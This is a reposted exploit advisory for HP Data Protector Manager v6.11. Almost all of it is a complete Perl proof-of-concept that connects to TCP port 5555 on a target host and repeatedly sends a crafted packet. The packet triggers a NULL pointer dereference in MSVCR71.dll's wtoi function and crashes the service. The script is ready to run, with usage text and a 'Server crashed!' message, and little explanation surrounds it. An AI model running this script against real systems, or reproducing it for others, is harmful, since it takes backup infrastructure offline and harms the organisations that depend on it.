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HP Data Protector Manager v6.11 / NULL Pointer Dereference DoS
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来源：http://www.pepelux.org 作者：Pepelux 发布时间：2010-10-08
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# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerabilities
#
# Software: http://www.hp.com
# Date: 06/10/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
# http://www.enye-sec.org - http://www.pepelux.org
#
# Vulnerable file: Program Files\OmniBack\bin\MSVCR71.dll
# Vulnerable function: wtoi
#
# Tested on Windows XP SP2 & Windows XP SP3
#!/usr/bin/perl
# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: NULL Pointer Dereference Remote Denial of Service Vulnerabilities
#
# Software: http://www.hp.com
# Date: 06/10/2010
# Author: Pepelux - pepelux[AT]enye-sec[DOT]com
# http://www.enye-sec.org - http://www.pepelux.org
#
# Vulnerable file: Program Files\OmniBack\bin\MSVCR71.dll
# Vulnerable function: wtoi
#
# Tested on Windows XP SP2 & Windows XP SP3
use IO::Socket;
my ($server, $port) = @ARGV ;
unless($ARGV[0] || $ARGV[1]) {
print "Usage: perl $0 <host> [port]\n";
print "\tdefault port = 5555\n\n";
exit 1;
}
$port = 5555 if ($ARGV[0]);
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
my $buf = "\x00\x00\x00\x41\xff\xfe\x32\x00\x00\x00\x20\x00\x41\x00\x41\x00".
"\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00".
"\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00".
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00".
"\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\xff\xff\x20\x00\x31\x00".
"\x35\x00\x00\x00\x00\x00";
print "[+] Connecting to $server:$port ...\n";
my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");
print "[+] Sending malicious packet ...\n";
my $crashed = 0;
while($crashed eq 0) {
print $sock1 "$buf" or $crashed = 1;
}
print "\n[x] Server crashed!\n";
exit;
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